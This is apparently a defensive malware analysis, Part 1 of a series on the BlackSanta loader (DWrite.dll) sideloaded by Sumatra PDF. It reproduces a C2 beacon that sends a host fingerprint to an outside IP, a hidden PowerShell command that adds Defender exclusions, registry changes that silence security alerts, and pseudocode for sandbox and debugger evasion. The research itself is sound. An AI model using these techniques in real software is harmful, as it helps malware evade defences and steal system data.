Scope: This is Part 1 of the BlackSanta analysis series, focusing exclusively on the
DWrite.dllloader component. Part 2 will cover the BlackSanta EDR-killer payload and BYOVD drivers.
Prior work: Aryaka published a detailed BlackSanta EDR Killer threat report covering the campaign’s infection chain, C2 infrastructure, and payload behavior. This deep dive extends that work with independent reverse engineering, including full decryption of the embedded string table and end-to-end dynamic validation of the C2 protocol and process hollowing.
Disclaimer: This analysis was performed in an isolated lab environment for defensive security research purposes. All indicators and techniques are shared to aid detection and response.
Executive Summary
BlackSanta is a sophisticated EDR/AV killer campaign that leverages DLL sideloading, process hollowing, and extensive anti-analysis capabilities to deliver a BYOVD-based EDR-killer payload. The DWrite.dll loader is a 64-bit MSVC C++ DLL with 2,132 functions that masquerades as Microsoft’s DirectWrite font rendering library and is sideloaded by Sumatra PDF reader.
The CIS locale safeguard (exits on Russian-speaking systems) and embedded campaign identifiers suggest a Russian-nexus threat actor. Key findings:
- 7-stage cascading anti-analysis chain with unique C2 reporting codes per stage
- HVCI-aware branching — separate attack paths for HVCI-enabled vs disabled systems
- AES-256-CBC encrypted strings with runtime key delivery from C2 (69 encrypted strings in .rdata — all decrypted)
- Two process hollowing variants — admin path uses PPID spoofing to
winlogon.exewithPROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; non-admin path uses dynamic API resolution with Mersenne Twister random sleep delays between hollowing steps - BYOVD indicators in decrypted strings — device paths (
\\.\EchoDrv,\\.\TrueSight,\\.\IOBitUnlockerDevice) and driver staging paths (wedgetec.sys,devdiagm.sys) suggest the stage2 payload uses vulnerable kernel drivers (detailed analysis in Part 2) - CIS country safeguard — explicitly avoids Russian, Belarusian, and Kazakh systems (bitmask check on lang IDs 1049, 1059, 1087)
- Extensive EDR/AV process blacklist — 50+ security product process names in the encrypted string table, used for anti-analysis gating and passed to the stage2 payload
- Multi-layer persistence — scheduled tasks, DPATH environment variable, local admin-share staging
- Multi-stage self-cleanup via scheduled tasks at 60s/90s/600s/900s intervals with secure deletion
| Property | Value |
|---|---|
| SHA256 | d3d4b8bd76a26448426c89e6e401cff2cd9350c09aad52cc33d4ca3866bea918 |
| Type | 64-bit DLL (PE32+) |
| Architecture | x86-64 |
| Compiler | MSVC (C++ with STL) |
| Functions | 2,132 total (~60 analyzed with mw_ prefix) |
| Exports | DWriteCreateFactory (ordinal 1), DllEntryPoint |
| C2 Server | 157.250.202.215 |
| Sections | .text (348 KB), .rdata (115 KB), .data (28 KB), .fptable (unusual) |
Table of Contents
- DLL Sideloading Entry Point
- C2 Protocol Deep Dive
- Anti-Analysis Chain (7 Stages)
- Cryptographic Implementation
- Decrypted Strings Analysis
- Windows Defender & Security Evasion
- Execution State Management
- HVCI-Aware Attack Branching
- Process Hollowing with PPID Spoofing
- Stage2 Payload Delivery and EDR-Killer Indicators
- Persistence Mechanisms
- Self-Cleanup Chain
- Function Reference Table
- Indicators of Compromise
- MITRE ATT&CK Mapping
- Detection Opportunities
- C2 Simulator
- Dynamic Analysis Findings Summary
1. DLL Sideloading Entry Point
The malware is distributed as DWrite.dll — a name that collides with Microsoft’s DirectWrite font rendering library. When Sumatra PDF loads the DLL, it calls the exported DWriteCreateFactory function, triggering the malware.
1.1 Architecture Overview

1.2 Entry Point Code
Figure 1: x64dbg disassembly at the
DWriteCreateFactoryentry point (0x180021310), showing theEnumWindowscallback setup,ShowWindow(SW_HIDE),SetWindowLongPtrW,SetWindowPos, and the final call tomain_orchestrator(0x18001FA00).

Figure 2: Register state at the
DWriteCreateFactoryentry point. RAX/RIP =0x180021310, R12 contains the DLL pathC:\Users\victim\Desktop\DWrite.dll.

Figure 2a: IDA Pro pseudocode of
mw_DWriteCreateFactory_entry(0x180021310), showing the hijacked export that hides the Sumatra PDF window and dispatches to the main orchestrator.

At DWriteCreateFactory_malware_entry (0x180021310), the malware:
- Calls
EnumWindowswith callbackenum_windows_find_host_window(0x180003860) to locate the Sumatra PDF window - Hides the window via
ShowWindow(hwnd, SW_HIDE) - Strips window styles with
SetWindowLongPtrWand repositions it off-screen - Dispatches to
main_orchestrator(0x18001FA00) — the core function that never returns
// DWriteCreateFactory_malware_entry (0x180021310)
// This is what the legitimate app calls — but it gets hijacked
void __noreturn DWriteCreateFactory() {
LPARAM hwnd = 0;
EnumWindows(enum_windows_find_host_window, &hwnd);
ShowWindow(hwnd, SW_HIDE); // hide window
SetWindowLongPtrW(hwnd, GWL_STYLE, 0); // strip styles
SetWindowPos(hwnd, 0, 0, 0, 0, 0,
SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER); // 0x83
ShowWindow(hwnd, SW_FORCEMINIMIZE); // force minimize
main_orchestrator(); // never returns
}
Note: The malware references the string
DWrite2.dllat0x180073612(single data xref, no confirmed function references). This may indicate a proxy-load mechanism to forward calls to the real DirectWrite DLL, but no actual proxy-load chain was confirmed in the analyzed functions. This remains a hypothesis.
2. C2 Protocol Deep Dive
2.1 Server Infrastructure
Figure 3: x64dbg disassembly of
mw_main_orchestrator(0x18001FA00) showing the C2 IP construction. The inline QWORD constant0x2E3035322E373531(“157.250.”) is visible at0x18001FA55, combined with the string “202.215” referenced at0x180068ED8.

Figure 3a: IDA Pro pseudocode of
mw_main_orchestrator(0x18001FA00) — the core function that constructs the C2 IP, sends the initial beacon, runs the 7-stage anti-analysis chain, and branches based on HVCI status.

The C2 IP is constructed at runtime by combining an inline constant with a string reference:
0x2E3035322E373531 (QWORD inline constant = "157.250.") + "202.215" (string at 0x180068ED8)
The first fragment is stored as an 8-byte QWORD directly in the instruction stream (not as a string in .rdata), while the second fragment “202.215” is the only part visible as a string. This hybrid construction evades both string-based and simple YARA pattern matching.
2.2 Endpoint Map
The C2 server exposes endpoints disguised as a legitimate ASP.NET web application. Only 6 endpoints appear as plaintext strings in the binary — all referenced exclusively from mw_main_orchestrator:
Confirmed Plaintext Endpoints (in .rdata)
| Endpoint | Address | Code Path | Purpose |
|---|---|---|---|
settings.aspx |
0x180068EE8 |
Non-admin | Payload download → process hollow (fallback path) |
main.aspx |
0x180068EF8 |
HVCI OFF | Primary PE payload → process hollow |
company.aspx |
0x180068F08 |
HVCI OFF | Secondary PE payload → process hollow |
contacts.aspx |
0x180068F18 |
HVCI OFF | Tertiary PE payload → process hollow |
blog.aspx |
0x180068F30 |
HVCI OFF | Download .zip archive (BYOVD drivers) → extract |
about.aspx |
0x180068F50 |
Both paths | Module6 executable download |
Dynamically Confirmed Endpoints
| Endpoint | Evidence | Purpose |
|---|---|---|
login.aspx |
Confirmed via x64dbg — decrypted at runtime, observed in POST request | Initial beacon + AES key/IV delivery |
download.aspx |
Aryaka report Figure 22 | PE payload delivery (BlackSanta EDR-killer) |
upload.aspx |
Aryaka report | Data exfiltration |
Dynamic analysis note: The initial beacon endpoint
login.aspxis NOT present as a plaintext string — it is AES-encrypted in the string table and decrypted at runtime after the C2 delivers the key. This was confirmed by intercepting the first POST request in x64dbg with anti-analysis checks bypassed.
Execution Flow by Privilege Level
The orchestrator branches based on mw_check_admin_elevation_and_hosts():
- Non-admin path (
v49 == 0): Stores DLL path in registry → creates decoy files → requestssettings.aspx(GET withdbseckey, noactionparam) → receives base64-encoded PE in<pre id="pre">tags → callsmw_process_hollow_with_random_sleep(Variant 2, not Variant 1) →ExitProcess - Admin path (
v49 != 0): Disables Defender → checks HVCI → branches to HVCI ON or HVCI OFF sub-paths (see Section 8)
2.3 Initial Beacon Protocol
Confirmed via dynamic analysis (x64dbg, 2026-03-13)
Figure 4: x64dbg disassembly of
mw_c2_beacon_with_sysinfo(0x1800098D0). TheRegOpenKeyExAcall is visible with the registry pathSOFTWARE\Microsoft\Windows NT\CurrentVersionat0x180066488, followed byRegQueryValueExAreading “ProductName” for the OS fingerprint.
![]()
On first execution, the malware collects a system fingerprint and sends a registration beacon. The fingerprint is assembled by mw_c2_beacon_with_sysinfo (0x1800098D0) from:
- Registry values at
SOFTWARE\Microsoft\Windows NT\CurrentVersion(ProductName,DisplayVersion,CurrentBuild) - Environment variables
USERNAMEandCOMPUTERNAME
These are joined with pipe delimiters and Base64-encoded:
base64("Windows 10 Pro 22H2|DESKTOP-VICTIM|victim")
→ "V2luZG93cyAxMCBQcm8gMjJIMnxERVNLVE9QLVZJQ1RJTXx2aWN0aW0="
The beacon is sent as an HTTPS POST to login.aspx (decrypted at runtime):
POST /login.aspx HTTP/1.1
Host: 157.250.202.215
Accept-Language: en-US,en;q=0.5\r\nBearer: <session_token>
Content-Type: application/x-www-form-urlencoded; charset=utf-8;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
action=ping&mod=load&os=<base64_fingerprint>&dbseckey=<sha256_hash>
Key observations:
- HTTPS on port 443 —
InternetConnectAwith port0x1BB(443), not HTTP port 80 mod=load— the hardcoded string"load"indicates initial registration-
OS fingerprint — 3 pipe-delimited fields (OSVersion Hostname Username), not 5
The C2 server responds with the AES-256 key and IV as plain text (not HTML-wrapped):
HTTP/1.1 200 OK
Content-Type: text/plain; charset=windows-1251
Content-Length: 97
Server: nginx/1.24.0 (Ubuntu)
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
effbd3d25eddf30584451ef9da0215715d52d262202cd9fd983b0326e0e5d018|7c88a70b0d2e95d642e63d308ac2f3aa
The malware splits on |, validates 2 parts, converts each hex string to bytes via mw_hex_string_to_bytes, and stores:
- Key (64 hex chars = 32 bytes) →
g_aes256_key(0x180075D00) - IV (32 hex chars = 16 bytes) →
g_aes256_iv(0x180075D20)
These are used for ALL subsequent AES-256-CBC string decryption. The key from the Aryaka report (Figure 8) was verified to correctly decrypt all 69 embedded ciphertext strings.
Anti-Analysis Telemetry
If an anti-analysis check triggers, the malware reports it to the C2 before exiting:
POST /login.aspx HTTP/1.1
...
action=log&data=<base64_encoded_check_result>
This uses action=log (not action=ping) with the check result Base64-encoded in the data parameter.
2.4 Authentication Mechanism
Every C2 request includes:
- Bearer token — embedded in the
Accept-Languageheader (highly anomalous placement:Accept-Language: en-US,en;q=0.5\r\nBearer: <token>) - dbseckey parameter — hex-encoded session key in the POST body
2.5 User-Agent Rotation
Three hardcoded User-Agents are rotated via mw_wininet_http_post (0x1800082B0):
UA#0: Chrome/125.0.6422.112 (latest at time of compilation)
UA#1: Firefox/118.0
UA#2: Chrome/124.0.6367.93
2.6 C2 Commands
| Command | Description |
|---|---|
install |
Trigger full payload installation + persistence |
update |
Update existing payload |
start |
Start scheduled task execution |
delete |
Trigger self-deletion |
getbackup |
Retrieve backup C2 address |
mod4memint |
“Module 4 memory inject” — in-memory payload injection |
3. Anti-Analysis Chain (7 Stages)
The malware runs a cascading chain of 7 anti-analysis checks, each with its own C2 reporting tag. If any check triggers, the malware reports the specific check that fired, then calls ExitProcess. This provides the operator with granular intelligence about which sandbox/analysis environment caught the malware.

3.1 Stage 0: Sandbox Hostname & Username Check
Function: mw_anti_sandbox_check_hostname_username (0x18001B340)
Checks GetComputerNameA() and GetUserNameA() against hardcoded blacklists of known sandbox environments:
71+ Sandbox Hostnames (partial list — covers ANY.RUN, Tria.ge, Joe Sandbox, Cuckoo, etc.):
DESKTOP-FL50EOF ZZDNTXQB DESKTOP-CSEDXIM DESKTOP-ZYANMIE
DESKTOP-CXPUWTF DESKTOP-RCZZWPJ DESKTOP-J655HF6 DESKTOP-8H9EM4A
WINAUTO-62T2P7U ZONAG4483147206 QJMBA6328379930 UQPBZTU08154237
LSHBWCKL0256103 MPRO_R1_05 SISU-PC CLIENT-PKI2464
WIN-PFZNZARAFFC JEN-NB6W9NNEMA1 Z126LIMY8TZUG COMPNAME_8938
...
39+ Sandbox Usernames (partial list):
Harry Johnson willy STRAZNJICA.GRUBUTT rapit
lichao OqXZRaykm RDhJ0CNFevzX Bruno
winauto ePAyJXKKD V4R4X fred
husky Sisu qr0FYw zatru
...
3.2 Stage 1: CIS Country Safeguard
Figure 5: x64dbg disassembly of
mw_anti_analysis_check_russian_locale(0x18001A1C0). Thexor eax,eax; retbypass patch is visible at the function start. Below, the original function body shows references to the AES key/IV globals (0x180075D00,0x180075D20) and encrypted string decryption calls.

Figure 5a: IDA Pro pseudocode of
mw_anti_analysis_check_russian_locale(0x18001A1C0), showing the CIS country safeguard that checks for Russian/Belarusian/Kazakh locale IDs.

Function: mw_anti_analysis_check_russian_locale (0x18001A1C0)
// Pseudocode for CIS locale check
WCHAR locale[85];
GetUserDefaultLocaleName(locale, 85);
if (StrStrIW(locale, L"ru-RU")) {
c2_report("1"); // reports "1|" to C2
return 1; // skip infection
}
LANGID lang = GetUserDefaultLangID();
// Bitmask 0x4000000401 checks specific CIS language IDs:
// bit 0: 1049 (Russian)
// bit 10: 1059 (Belarusian)
// bit 38: 1087 (Kazakh)
if (lang >= 1049 && lang <= 1087 && bittest(0x4000000401, lang - 1049)) {
c2_report("1");
return 1;
}
This is a strong indicator of Russian-nexus threat actor origin — the malware explicitly protects Russian-speaking systems from infection. Combined with Russian-language comments in the PowerShell delivery scripts, this provides high-confidence attribution to a Russian-speaking group.
3.3 Stage 2: Disk Artifact Detection
Function: mw_anti_analysis_check_disk_artifacts (0x1800194A0)
Checks for the presence of analysis tool files on disk. The file paths are AES-encrypted and decrypted at runtime. Two encrypted strings are used by this function (addresses 0x1800195c2 and 0x180019729 call sites).
3.4 Stage 3: Environment Analysis
Function: mw_anti_analysis_check_environment (0x180016270)
Multi-vector environment checks including:
- Processor count:
NUMBER_OF_PROCESSORS < 2→ sandbox (viaGetLogicalProcessorInformation) - Physical RAM:
< 2 GBor< 4 GB→ sandbox - Network adapters:
< 4→ sandbox - Environment variable count — abnormally low counts indicate sandboxes
- Sandboxie detection: Checks for
\Services\cmdguardandSandboxieregistry artifacts - Comodo detection: Checks for Comodo sandbox artifacts
3.5 Stage 4: VM Artifact Detection
Function: mw_anti_analysis_check_vm_artifacts (0x180014060)
SMBIOS Firmware Table Analysis
Figure 6: x64dbg disassembly of
mw_detect_vm_via_smbios_firmware(0x180017790). Bypass patch at top. The encrypted VM vendor string at0x180067210(ciphertext373b36fd8291a5...) is loaded and passed to the AES decryption pipeline.

Function: mw_detect_vm_via_smbios_firmware (0x180017790)
// Reads raw SMBIOS firmware data using RAW_SMBIOS_DATA struct
DWORD size = GetSystemFirmwareTable('RSMB', 0, NULL, 0);
BYTE* buf = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
GetSystemFirmwareTable('RSMB', 0, buf, size);
// Parses SMBIOS Type 1 (System Information) via SMBIOS_TYPE1_SYSTEM_INFO struct
// Checks Manufacturer and Product Name against ~20 VM vendors:
// "microsoft virtual machine", "vmware", "virtualbox", "oracle",
// "qemu", "xen", "kvm", "parallels", "virtual", "Hyper-V",
// "VirtIO", "Bochs"
The function uses custom structs (RAW_SMBIOS_DATA, SMBIOS_HEADER, SMBIOS_TYPE1_SYSTEM_INFO) to parse the firmware table and extract manufacturer/product strings for comparison.
Display Adapter Check
Function: mw_detect_vm_via_display_adapter (0x180012600)
// Enumerates display devices, checks for virtual GPUs
DISPLAY_DEVICEW dd = {sizeof(DISPLAY_DEVICEW)};
for (int i = 0; EnumDisplayDevicesW(NULL, i, &dd, 0); i++) {
// Decrypts 9 known virtual GPU names and matches via StrStrIA:
// "VMware SVGA", "VirtualBox Graphics", "Microsoft Basic Display",
// "Microsoft Remote Display", "QXL", "Parallels", "VirtIO", etc.
}
Physical Memory Check
Function: mw_check_physical_memory_gb (0x180011CE0)
Returns total physical RAM in GB. Sandboxes often allocate 1-2 GB, so the caller gates execution on a minimum threshold.
3.6 Stage 5: Desktop File Count
Function: mw_anti_analysis_check_desktop_file_count (0x180011030)
// Uses SHGetKnownFolderPath + FindFirstFileW/FindNextFileW
int file_count = count_desktop_files();
if (file_count < 5) {
// Fresh sandbox VMs typically have almost no desktop files
c2_report("6");
ExitProcess(0);
}
This is a clever heuristic — real user desktops typically have many files, while freshly spun sandbox VMs have very few.
3.7 Stage 6: Debugger Detection + EDR Process Enumeration
Figure 7: x64dbg disassembly of
mw_anti_debug_gate_with_edr_check(0x18000F310). Thexor eax,eax; retbypass patch is at the top (the first 3 bytes). The original function body shows references to the AES key global (0x180075C0), encrypted process name strings at0x1800666E0+, and the decryption helper calls used to resolve EDR/analysis tool names at runtime.

Figure 7a: IDA Pro pseudocode of
mw_anti_debug_gate_with_edr_check(0x18000F310), showing the combinedIsDebuggerPresent,CheckRemoteDebuggerPresent,NtQueryInformationProcess, and EDR process enumeration checks.

Function: mw_anti_debug_gate_with_edr_check (0x18000F310)
This is the most comprehensive check, combining:
IsDebuggerPresent()— PEB flag checkCheckRemoteDebuggerPresent()— Cross-process debugger detectionNtQueryInformationProcess— DirectPEB.BeingDebuggedcheck via NTAPI (usesPROCESS_BASIC_INFORMATIONstruct)mw_enumerate_processes_match_edr_targets(0x18000BF60) — Enumerates all running processes viaCreateToolhelp32SnapshotandK32EnumProcesses, matching against ~25 AES-encrypted EDR/AV process names
Decrypted analysis tool process names targeted (25 strings, verified via AES decryption — see Section 5.2):
wireshark.exe ollydbg.exe x64dbg.exe x32dbg.exe
windbg.exe ida.exe idag.exe idaq.exe
idaq64.exe immunitydbg.exe procmon.exe procmon64.exe
debugview.exe cheatengine.exe radare2.exe ghidra.exe
peid.exe cutter.exe fiddler.exe dynatrace.exe
jmp.exe olldump.exe babeldbg.exe winice.exe
Key finding: Instead of hard-crashing when a debugger is detected, the malware poisons its output strings by prepending
"7|". This causes downstream logic to silently malfunction — a more subtle approach than callingExitProcess, making it harder for analysts to identify the exact anti-debug trigger.
4. Cryptographic Implementation
4.1 AES-256-CBC via WinCrypt
Figure 8: x64dbg disassembly of
mw_aes256_cbc_decrypt(0x1800034D0). The WinCrypt API call sequence is clearly visible:CryptAcquireContextA(PROV_RSA_AES = 0x18, CRYPT_VERIFYCONTEXT = 0xF0000000), thenCryptImportKeyreferencingg_aes_key_blobat0x180077BB8with CALG_AES_256 (0x6610) and key size 32 bytes.

Figure 8a: IDA Pro pseudocode of
mw_aes256_cbc_decrypt(0x1800034D0), showing the WinCrypt API call sequence withPROV_RSA_AESandCALG_AES_256parameters.

Function: mw_aes256_cbc_decrypt (0x1800034D0)
All embedded strings are AES-256-CBC encrypted and decrypted at runtime. The implementation uses the Windows CryptoAPI:
// mw_aes256_cbc_decrypt (0x1800034D0) - Simplified pseudocode
BOOL aes256_cbc_decrypt(BYTE* ciphertext, DWORD len, BYTE* key, BYTE* iv) {
HCRYPTPROV hProv;
HCRYPTKEY hKey;
// Acquire AES provider
CryptAcquireContextA(&hProv, NULL, NULL,
PROV_RSA_AES, // 0x18
CRYPT_VERIFYCONTEXT); // 0xF0000000
// Import key via PLAINTEXTKEYBLOB structure
CryptImportKey(hProv, &g_aes_key_blob, 44, 0, 0, &hKey);
// Set CBC IV
CryptSetKeyParam(hKey, KP_IV, iv, 0);
// Decrypt in place
CryptDecrypt(hKey, 0, TRUE, 0, ciphertext, &len);
CryptDestroyKey(hKey);
CryptReleaseContext(hProv, 0);
}
4.2 PLAINTEXTKEYBLOB Structure
The AES-256 key is stored globally as a PLAINTEXTKEYBLOB structure at g_aes_key_blob (0x180077BB8), passed directly to CryptImportKey:
struct PLAINTEXTKEYBLOB { // 44 bytes total
BYTE bType; // 0x08 = PLAINTEXTKEYBLOB
BYTE bVersion; // 0x02 = CUR_BLOB_VERSION
WORD reserved; // must be 0
DWORD aiKeyAlg; // 0x6610 = CALG_AES_256
DWORD cbKeySize; // 32 (AES-256 key length)
BYTE rgbKeyData[32]; // actual key material from C2
};
4.3 Key Delivery and Recovery
The AES key and IV are not embedded in the binary — they are delivered by the C2 server on the initial beacon response. The key was recovered from the Aryaka threat report (Figure 8), which captured the actual C2 response:
| Parameter | Value |
|---|---|
| AES-256 Key | effbd3d25eddf30584451ef9da0215715d52d262202cd9fd983b0326e0e5d018 |
| AES-CBC IV | 7c88a70b0d2e95d642e63d308ac2f3aa |
This key successfully decrypts all 69 embedded ciphertext strings in the binary, confirming it is the correct operational key for this sample.
Without the key:
- Static analysis cannot decrypt the strings — the 69 hex-encoded ciphertexts in
.rdataare opaque - Dynamic analysis requires C2 communication or a simulator serving the correct key
- The malware is inert without C2 connectivity — even the anti-analysis checks rely on decrypted strings for process name matching
4.4 String Decryption Pipeline

4.5 Global Cryptographic Variables
| Global | Address | Size | Purpose |
|---|---|---|---|
g_aes256_key |
0x180075D00 |
32 bytes | AES-256 key from C2 |
g_aes256_iv |
0x180075D20 |
16 bytes | AES CBC IV from C2 |
g_aes_key_blob |
0x180077BB8 |
44 bytes | PLAINTEXTKEYBLOB struct for CryptImportKey |
g_c2_session_key |
— | varies | Per-session C2 authentication key |
g_wininet_handle |
— | HANDLE | WinInet session handle |
g_c2_initialized |
— | DWORD | C2 initialization flag |
5. Decrypted Strings Analysis
All 69 encrypted strings decrypted using AES key recovered from Aryaka report Figure 8. Each string is stored as hex-encoded ciphertext in
.rdata, converted to bytes viamw_hex_string_to_bytes, and decrypted viamw_aes256_cbc_decryptat runtime. IDA annotations added at each ciphertext address.
The encrypted strings are referenced by 77 call sites to mw_aes256_cbc_decrypt across 15+ functions. Note: Additional strings (driver paths, registry keys, PowerShell commands, C2 endpoints) exist in the broader runtime string table built by mw_build_encrypted_strings_table (0x1800041E0) but use a different storage mechanism not yet fully mapped.
5.1 C2 Telemetry Prefix
| Address | Ciphertext (hex) | Decrypted |
|---|---|---|
0x1800666E0 |
87444be8d031fd00... (64 chars) |
action=log&data= |
This prefix is used by all anti-analysis reporting functions. When a check triggers, the malware sends action=log&data=<base64_result> to the C2 before exiting.
5.2 Analysis Tool Process Names (25 strings)
Figure 9: x64dbg memory dump showing the encrypted string table in
.rdatastarting at0x180066728. Each entry is a hex-encoded AES-256-CBC ciphertext blob that decrypts to an analysis tool process name (e.g.,wireshark.exe,x64dbg.exe,ida.exe). Null bytes separate individual entries.

These are checked by mw_enumerate_processes_match_edr_targets (0x18000BF60) and mw_check_analysis_tool_running (0x180015FD0):
| Address | Decrypted | Tool |
|---|---|---|
0x180066728 |
wireshark.exe |
Wireshark packet capture |
0x180066750 |
ollydbg.exe |
OllyDbg debugger |
0x180066778 |
x64dbg.exe |
x64dbg debugger |
0x1800667A0 |
x32dbg.exe |
x32dbg debugger |
0x1800667C8 |
windbg.exe |
WinDbg debugger |
0x1800667F0 |
ida.exe |
IDA Pro |
0x180066818 |
idag.exe |
IDA GUI |
0x180066840 |
idaq.exe |
IDA Qt GUI |
0x180066868 |
idaq64.exe |
IDA Qt 64-bit |
0x180066890 |
immunitydbg.exe |
Immunity Debugger |
0x1800668B8 |
procmon.exe |
Process Monitor |
0x1800668E0 |
procmon64.exe |
Process Monitor 64-bit |
0x180066908 |
debugview.exe |
DebugView |
0x180066930 |
cheatengine.exe |
Cheat Engine |
0x180066958 |
radare2.exe |
Radare2 |
0x180066980 |
ghidra.exe |
Ghidra |
0x1800669A8 |
peid.exe |
PEiD packer detector |
0x1800669D0 |
cutter.exe |
Cutter (Rizin GUI) |
0x1800669F8 |
fiddler.exe |
Fiddler proxy |
0x180066A20 |
dynatrace.exe |
Dynatrace APM agent |
0x180066A48 |
jmp.exe |
JMP (SAS) |
0x180066A70 |
olldump.exe |
OllyDump |
0x180066A98 |
babeldbg.exe |
Babel Obfuscator debugger |
0x180066AC0 |
winice.exe |
SoftICE (legacy kernel debugger) |
5.3 Debugger Detection Messages (4 strings)
Reported to C2 via action=log&data= when detected:
| Address | Decrypted |
|---|---|
0x180066B50 |
Debugger detected by "IsDebuggerPresent" function |
0x180066BE0 |
Debugger detected by "CheckRemoteDebuggerPresent" function |
0x180066C70 |
Debugger detected by PEB |
0x180066CC0 |
Debugger detected by "isDebuggerPresentNt" function |
5.4 Desktop File Count Check (2 strings)
| Address | Decrypted |
|---|---|
0x180066D50 |
Recent Files < 3 |
0x180066DA0 |
kernel32 |
The kernel32 string is used with GetProcAddress to resolve GetLogicalProcessorInformation dynamically.
5.5 Display Adapter / VM GPU Detection (10 strings)
Checked by mw_detect_vm_via_display_adapter (0x180012600):
| Address | Decrypted | Indicates |
|---|---|---|
0x180066DD0 |
GetLogicalProcessorInformation |
API for processor count check |
0x180066E18 |
Microsoft Basic |
Basic Display Adapter (VM) |
0x180066E40 |
Microsoft Remote |
Remote Desktop Display (RDP) |
0x180066E88 |
RDP |
Remote Desktop |
0x180066EB0 |
VMware |
VMware virtual GPU |
0x180066ED8 |
VirtualBox |
VirtualBox virtual GPU |
0x180066F00 |
QXL |
QEMU/KVM GPU |
0x180066F28 |
Parallels |
Parallels virtual GPU |
0x180066F50 |
VirtIO |
VirtIO GPU |
0x180066F78 |
Bochs |
Bochs emulator GPU |
5.6 Environment / Sandbox Checks (8 strings)
| Address | Decrypted | Check |
|---|---|---|
0x180066FA0 |
Num of processors < 4 |
Reported if < 4 CPUs |
0x180066FF0 |
Adapter Detected |
Appended to adapter name |
0x180067040 |
NUMBER_OF_PROCESSORS |
Environment variable check |
0x180067090 |
Num of processor cores < 2 |
Reported if < 2 cores |
0x1800670D8 |
RAM < 4 Gb |
Reported if < 4 GB RAM |
0x180067100 |
Sandboxie |
Sandboxie detection |
0x180067130 |
SYSTEM\CurrentControlSet\Services\cmdguard |
Comodo CmdGuard driver |
0x1800671A0 |
Sanbboxie Detected |
Sandboxie report (note: typo in malware) |
0x1800671E8 |
Comodo Detected |
Comodo sandbox report |
5.7 SMBIOS VM Vendor Detection (20 strings)
Checked by mw_detect_vm_via_smbios_firmware (0x180017790) against SMBIOS Type 1 Manufacturer/Product:
| Address | Decrypted | Type |
|---|---|---|
0x180067210 |
microsoft |
Keyword match |
0x180067238 |
virtual machine |
Keyword match |
0x180067260 |
vmware |
Keyword match |
0x180067288 |
virtualbox |
Keyword match |
0x1800672B0 |
oracle |
Keyword match |
0x1800672D8 |
qemu |
Keyword match |
0x180067300 |
xen |
Keyword match |
0x180067328 |
kvm |
Keyword match |
0x180067350 |
parallels |
Keyword match |
0x180067378 |
virtual |
Keyword match |
0x1800673A0 |
Hyper-V (from SMBIOS) |
Report string |
0x1800673F0 |
VMware(from SMBIOS) |
Report string |
0x180067440 |
VirtualBox (from SMBIOS) |
Report string |
0x180067490 |
QEMU (from SMBIOS) |
Report string |
0x1800674E0 |
Xen (from SMBIOS) |
Report string |
0x180067530 |
KVM (from SMBIOS) |
Report string |
0x180067580 |
Parallels (from SMBIOS) |
Report string |
0x1800675D0 |
Generic Virtual Machine (from SMBIOS) |
Report string |
0x180067638 |
` Detected` | Suffix appended to vendor name |
6. Windows Defender & Security Evasion
Before deploying payloads, the malware systematically disables multiple layers of Windows security.
6.1 Cloud Protection & Sample Submission
Function: mw_disable_defender_spynet_reporting (0x18000BD30)
Registry Key: Software\Policies\Microsoft\Windows Defender\SpyNet
Values: SpynetReporting = 0 (DWORD)
SubmitSamplesConsent = 2 (DWORD) // "Never send"
This prevents Windows Defender from:
- Sending suspicious file hashes to Microsoft’s cloud
- Automatically uploading samples for analysis
- Receiving cloud-based detection signatures
6.2 PowerShell Defender Exclusions
The malware executes hidden PowerShell to add exclusions for its driver files and staging directory:
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command
"Set-MpPreference -ExclusionExtension *.dls, *.sys -Force;
Set-MpPreference -ExclusionPath C:\Windows\Temp -Force"
This ensures that:
.dlsand.sysfiles (vulnerable drivers) are not scanned- The
C:\Windows\Tempstaging directory is excluded from real-time protection
6.3 Security Notification Suppression
The malware modifies multiple registry keys to suppress security alerts from reaching the user:
| Registry Key | Value | Effect |
|---|---|---|
Software\Microsoft\Windows Defender Security Center\Notifications |
DisableNotifications = 1 |
Suppresses Defender Security Center alerts |
Software\Policies\Microsoft\Windows Defender Security Center\Notifications |
DisableNotifications = 1 |
Policy-level notification suppression |
Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance |
Enabled = 0 |
Disables security toast notifications |
| Same key | DisableEnhancedNotifications = 1 |
Disables enhanced notification details |
6.4 Vulnerable Driver Blocklist Check
Before loading BYOVD drivers, the malware checks whether Windows has the vulnerable driver blocklist enabled:
Registry Key: SYSTEM\CurrentControlSet\Control\CI\Config
Value: VulnerableDriverBlocklistEnable
If the blocklist is enabled, the malware may adjust its driver loading strategy or fall back to the HVCI-ON code path.
6.5 Disk Write Verification
Function: mw_create_decoy_files_in_appdata (0x180005ED0)
Before proceeding with payload deployment, the malware verifies disk write capability by creating one of three files under C:\Users\<Username>\MyApp\Data:
| Filename | Purpose |
|---|---|
report.txt |
Disk write check |
data.csv |
Disk write check |
backup.bin |
Disk write check |
A sample string is written to the file to confirm the environment is writable before proceeding with additional stages.
7. Execution State Management
7.1 Mutex Noise Generation
The malware introduces execution noise by repeatedly creating and closing unnamed mutexes in a loop. This generates small delays and mimics normal API behavior to disrupt sandbox timing analysis:
do {
MutexA = CreateMutexA(0, 0, 0);
if (MutexA)
CloseHandle(MutexA);
--n3;
} while (n3);
7.2 Run Key Execution Tracking
Function: mw_set_run_key_persistence (0x180005C60)
This function writes a DWORD marker under the Run key to track execution state:
Registry Key: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Value Name: MyAppStatus
Value Data: 0x00000001 (REG_DWORD)
Important: Despite being written under the
Runkey, this entry does not provide autorun persistence. Windows Run keys only executeREG_SZstring values pointing to executable paths. AREG_DWORDvalue of1is ignored by the logon autostart mechanism. The pseudocode confirms:RegSetValueExW(hKey, "MyAppStatus", 0, 4/*REG_DWORD*/, &1, 4).
The MyAppStatus value serves as an execution-state flag — it marks that the sample has already executed, preventing redundant runs on the same system.
Note: Our IDA analysis revealed this function was previously misidentified. Decoding the wide-character DWORD arrays in the function body exposed the actual registry path and value type.
7.3 DPATH Environment Variable
